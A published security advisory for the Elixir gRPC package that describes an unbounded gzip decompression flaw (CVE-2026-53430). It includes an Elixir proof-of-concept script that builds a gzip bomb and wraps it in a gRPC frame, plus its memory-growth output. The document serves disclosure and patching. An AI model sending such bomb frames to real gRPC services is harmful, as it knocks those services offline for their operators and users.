GHSA-6CCX-9C9F-327W

Vulnerability from github – Published: 2026-08-25 18:12 – Updated: 2026-08-25 18:12
VLAI
Summary
gRPC Erlang package has unbounded gzip decompression (decompression bomb)
Details

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end
Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "grpc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "fixed": "1.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T18:12:58Z",
    "nvd_published_at": "2026-06-15T23:16:46Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node\u0027s heap and triggering an OOM kill (denial of service).\n\nIntroduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba\n\n### Details\n`GRPC.Compressor.Gzip.decompress/1` (lib/grpc/compressor/gzip.ex:12-14) calls `:zlib.gunzip/1` directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a `GRPC.Compressor` implementation, it is invoked automatically whenever an incoming gRPC frame carries `grpc-encoding: gzip`. `:zlib.gunzip/1` allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server\u0027s `max_receive_message_length` is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.\n\n### PoC\nA script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node\u0027s memory usage will balloon and the VM will be OOM-killed after a single request.\n\n### Impact\nThis is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required \u2014 the attacker only needs to be able to reach the gRPC port and send a single crafted frame with `grpc-encoding: gzip`.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded gzip decompression (decompression bomb)\n\nMix.install([{:grpc, \"~\u003e 0.9\"}])\n\n# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.\nuncompressed_size = 200 * 1024 * 1024\nbomb_payload = :zlib.gzip(:binary.copy(\u003c\u003c0\u003e\u003e, uncompressed_size))\n\n# Wrap the bomb in a gRPC length-prefixed frame with the \"compressed\" flag (1)\n# set. This is the exact wire shape an outside peer would put on the socket\n# for a `grpc-encoding: gzip` message.\nframe =\n  \u003c\u003c1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary\u003e\u003e\n\nIO.puts(\n  \"Compressed bomb: #{byte_size(bomb_payload)} bytes -\u003e claims to expand to #{uncompressed_size} bytes\"\n)\n\n:erlang.garbage_collect()\nmem_before = :erlang.memory(:total)\nIO.puts(\"Memory before: #{div(mem_before, 1024 * 1024)} MB\")\n\n# Public entry point: GRPC.Message.from_data/2 is what the server\u0027s request\n# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2\n# DATA frame, once it has resolved the encoding header to a compressor module.\n# An outside attacker controls `frame`; the library is the trust boundary.\n{:ok, decompressed} =\n  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)\n\nmem_after = :erlang.memory(:total)\nIO.puts(\"Memory after:  #{div(mem_after, 1024 * 1024)} MB\")\nIO.puts(\"Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB\")\nIO.puts(\"Decompressed binary size: #{byte_size(decompressed)} bytes\")\n\namplification = byte_size(decompressed) / byte_size(bomb_payload)\nIO.puts(\"Amplification ratio: ~#{Float.round(amplification, 1)}x\")\n\nif byte_size(decompressed) == uncompressed_size do\n  IO.puts(\n    \"VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload.\"\n  )\nelse\n  IO.puts(\"NOT VERIFIED: decompressed size did not match expected payload\")\nend\n```\n\n```logs\nCompressed bomb: 203860 bytes -\u003e claims to expand to 209715200 bytes\nMemory before: 45 MB\nMemory after:  403 MB\nDelta:         358 MB\nDecompressed binary size: 209715200 bytes\nAmplification ratio: ~1028.7x\nVERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.\n```",
  "id": "GHSA-6ccx-9c9f-327w",
  "modified": "2026-08-25T18:12:58Z",
  "published": "2026-08-25T18:12:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/elixir-grpc/grpc/security/advisories/GHSA-6ccx-9c9f-327w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53430"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elixir-grpc/grpc/pull/543"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elixir-grpc/grpc/commit/1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-53430.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/elixir-grpc/grpc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elixir-grpc/grpc/releases/tag/v1.0.0"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-53430"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "gRPC Erlang package has unbounded gzip decompression (decompression bomb)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…